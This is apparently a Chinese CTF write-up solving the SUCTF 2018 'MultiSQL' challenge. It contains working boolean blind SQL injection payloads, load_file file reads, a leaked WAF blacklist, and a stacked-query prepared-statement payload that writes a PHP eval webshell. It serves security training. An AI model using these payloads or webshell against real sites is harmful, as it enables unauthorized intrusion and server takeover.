[SUCTF 2018]MultiSQL

1、打开环境,右键看源代码:

发现网站存在登录与注册功能

2、登录:

注册:

 3、测试登录注册功能时,发现存在二次注入漏洞:
注册用户名:admin'#:


 发现单引号被转义了,退出从登录界面登录:

 可以发现单引号没被转义了;点击用户信息:

发现直接跳转到admin这里来了,但是此处二次注入利用不了,waf太强了 

4、测试user.php文件提交的数据id,发现存在越权访问:

通过异或:

id=0^if(ascii(mid((user()),1))>0,1,0)

发现测试成功,此处存在布尔盲注,但是过滤了很多东西;

我们用脚本读一些东西:

 首先读取user():

suctf@localhost

尝试一下load_file尝试之后,发现是可以读取成功的:

id=0^if(ascii(mid(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870),1))>0,1,0)

这里转为十六进制,是因为转义单引号

同样通过脚本读取:

user.php:

<?php include_once('../bwvs_config/sys_config.php');
if(isset($_SESSION['user_name']))
{include_once('../header.php');
if( isset($SESSION['user_id']))
{
$sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_name="."'{$_SESSION['user_name']}'";
$data=mysqli_query($connect,$sql) or die('Mysql Error  ');
$result = mysqli_fetch_array($data);
$_SESSION['user_id'] = $result['DWVS_user_id'];  }
$html_avatar = htmlspecialchars($_SESSION['user_favicon']);
if(isset($_GET['id'])){
$id=waf($_GET['id']);
$sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_id =".$id;
$data = mysqli_multi_query($connect,$sql) or die();
$result = mysqli_store_result($connect);
$row = mysqli_fetch_row($result);
echo '<h1>user_id:'.$row[0]."</h1><br><h2>user_name:".$row[1]."</h2><br><h3>".$row[4]."</h3>

mysqli_multi_query()这里发现是存在堆叠注入的 

读取/bwvs_config/sys_config.php文件,发现waf.php:

<?php   
function waf($str){   
$black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";   
$str = preg_replace($black_str, "@@",$str);   
return addslashes($str);  }   
?>    

 5、接下来采用MYSQL预处理:

因为我们要写shell,必须要用单引号,通过预处理可以绕过转义单引号:因为前面通过修改头像发现/favicon目录有写权限:

select '<?php eval($_POST['x']);?>' into outfile '/var/www/html/favicon/a.php'转为十六进制

0x73656c65637420273c3f706870206576616c28245f504f53545b315d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f612e70687027

payload:

 id=2;set @xx=0x73656c65637420273c3f706870206576616c28245f504f53545b315d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f612e70687027;prepare x from @xx;execute x;

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值